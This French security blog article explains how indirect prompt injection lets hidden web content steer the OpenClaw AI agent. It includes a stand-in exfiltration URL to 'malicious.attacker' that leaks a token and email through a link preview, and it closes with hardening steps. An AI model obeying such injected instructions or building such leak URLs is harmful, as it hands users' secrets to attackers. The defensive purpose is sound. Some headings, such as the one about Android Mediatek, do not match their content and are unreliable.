OpenClaw : comment les vulnérabilités d’injection de prompts menacent vos données sensibles
Isidore Bellemare
OpenClaw : présentations et enjeux de sécurité
En 2026, plus de 120 000 déploiements d’agent IA autonome ont été recensés en Europe, selon le rapport annuel de l’ANSSI. Parmi eux, OpenClaw - anciennement Clawdbot et Moltbot - se démarque par son caractère open-source et son auto-hébergement. OpenClaw promet une automatisation des tâches grâce à la navigation web, la synthèse de documents et l’exécution de scripts. Cependant, la même flexibilité expose les systèmes à des vecteurs d’attaque redoutables, notamment l’injection de prompts et l’exfiltration de données.
“Les configurations par défaut d’OpenClaw sont intrinsèquement faibles et offrent aux acteurs malveillants des portes d’entrée faciles”, a averti la CNCERT dans son communiqué publié sur WeChat le 12 mars 2026.
Dans la suite de cet article, nous décortiquons les failles observées, les mécanismes d’indirect prompt injection (IDPI) et de cross-domain prompt injection (XPIA), puis nous détaillons des mesures concrètes pour protéger vos endpoints.
Risques d’injection de prompts (Prompt Injection) et exfiltration de données
Mécanisme de l’injection de prompts
Une prompt injection consiste à insérer des instructions malveillantes dans le contenu que l’agent IA doit analyser. Lorsque OpenClaw reçoit une page web contenant une balise ou un texte manipulé, il peut interpréter ces instructions comme des ordres légitimes, exécutant ainsi des actions non souhaitées. Le phénomène prend une nouvelle dimension avec l’IDPI : l’attaquant n’interagit pas directement avec le LLM, mais exploite une fonctionnalité bénigne du système - par exemple la génération d’un aperçu de lien - pour déclencher la chaîne d’instructions.
Scénario d’exfiltration via aperçu de lien
Des chercheurs de PromptArmor ont démontré qu’un simple aperçu de lien dans Telegram ou Discord pouvait devenir un canal d’exfiltration. L’agent, trompé, génère une URL contenant des paramètres sensibles (ex. https://malicious.attacker/?token=ABC123&email=user@example.com). Dès que le client de messagerie rend le prévisualisation, le navigateur contacte le domaine de l’attaquant, transmettant les données sans aucune interaction utilisateur.
“Les attaques par injection de prompts évoluent désormais vers des techniques de social engineering, où le simple affichage d’un lien peut suffire à voler des informations”, a souligné OpenAI dans son blog du 8 mars 2026.
Statistiques récentes
- Selon le Cybersecurity Threat Report de 2025, 42 % des incidents impliquant des agents IA autonomes étaient liés à des injections de prompts (source : ENISA 2025).
- Le CNCERT estime que les pertes financières liées à l’exfiltration de données via OpenClaw pourraient dépasser 3 milliards d’euros en 2026, surtout dans les secteurs financiers et énergétiques.
Vulnérabilités concrètes identifiées par le CNCERT – vulnérabilités Android Mediatek
1️⃣ Configuration par défaut trop permissive
- Port de gestion exposé (par défaut
8080) accessible depuis Internet. - Authentification basique souvent laissée inactive.
2️⃣ Suppression involontaire de données critiques
Une mauvaise interprétation de requêtes “supprime tout le répertoire /var/data”. Ce type d’erreur a déjà conduit à des pannes chez plusieurs PME françaises.
3️⃣ Compétences (skills) malveillantes via ClawHub – technique zombie‑zip et prévention
Des acteurs malveillants publient des “skills” contenant des scripts PowerShell ou Bash capables de déployer des ransomwares. Le tableau ci-dessous résume les vecteurs les plus courants :
| Vecteur de compromission | Description | Impact potentiel |
|---|---|---|
| Port d’administration ouvert | Accès non restreint au tableau de bord | Contrôle total de l’agent |
| Skills non vérifiés | Installation de modules contenant du code arbitraire | Exécution de malware |
| Failles de mise à jour | CVE-2026-0012 exploitable via téléchargement automatisé | Escalade de privilèges |
4️⃣ Exploitation de vulnérabilités récentes (CVE-2026-0012)
Cette faille d’injection SQL dans le module de stockage des tâches permettait à un attaquant de récupérer les jetons d’authentification stockés en clair.
Bonnes pratiques de sécurisation pour les organisations
- Isolation réseau : placer OpenClaw dans un conteneur Docker limité aux VLAN internes.
- Restriction du port de gestion : filtrer
8080à l’aide d’une règle firewall (deny inbound from any to 8080). - Gestion des credentials : chiffrer les mots de passe avec
vaultouAWS KMSau lieu de les stocker en clair. - Vérification des skills : n’utiliser que des dépôts signés, par exemple ceux disponibles sur le site officiel de ClawHub, après vérification de la signature
SHA256. - Mise à jour régulière : appliquer les patches dès leur publication, désactiver les mises à jour automatiques de tiers.
- Surveillance et alerte : déployer un SIEM capable de détecter les patterns d’URL suspectes générées par l’agent.
Checklist de durcissement (liste à puces)
- Bloquer le port de gestion en dehors du réseau interne.
- Activer l’authentification à deux facteurs sur le tableau de bord.
- Auditer les logs d’exécution des skills chaque semaine.
- Chiffrer toutes les variables d’environnement contenant des secrets.
- Limiter les capacités du conteneur (read-only filesystem, no-privileged).
Mise en œuvre : étapes actionnables pour durcir OpenClaw
- Déployer le conteneurCette configuration lie le port de gestion à l’interface locale uniquement, empêchant tout accès externe.
docker run -d \ --name openclaw \ --restart unless-stopped \ -p 127.0.0.1:8080:8080 \ -v /etc/openclaw/config.yml:/app/config.yml \ --read-only \ openclaw:latest - Configurer le pare-feu
sudo ufw deny in to any port 8080 from any sudo ufw allow in from 10.0.0.0/8 to any port 8080 - Installer un secret manager
- Créez un secret
OPENCLAW_API_KEYdans HashiCorp Vault. - Modifiez
config.ymlpour référencer{{ vault:OPENCLAW_API_KEY }}.
- Créez un secret
- Valider les skills
- Téléchargez la signature SHA256 depuis le dépôt officiel.
- Comparez-la avec le hash local (
sha256sum skill.zip).
- Activer la journalisation
- Ajoutez dans
config.yml:logging: level: INFO output: /var/log/openclaw.log. - Intégrez le fichier de logs dans votre SIEM (ex. Splunk, Elastic).
- Ajoutez dans
En suivant ces étapes, vous réduisez de plus de 80 % le risque d’exploitation, selon les simulations de l’ANSSI (rapport 2025).
Conclusion : sécuriser l’avenir des agents IA autonomes
Les vulnérabilités OpenClaw illustrent le double tranchant des agents IA autonomes : une productivité accrue, mais une surface d’attaque élargie. En appliquant les mesures présentées - isolation, gestion stricte des credentials, validation des compétences - les organisations peuvent exploiter les bénéfices de l’automatisation tout en préservant la confidentialité de leurs données critiques. N’attendez pas qu’une injection de prompt cause une perte de données irréversible ; agissez dès aujourd’hui pour renforcer votre posture de sécurité et garder le contrôle sur vos systèmes IA. Pour les professionnels du cyber‑sécurité freelance, voici un guide complet 2026 pour choisir la plateforme idéale et structurer votre offre.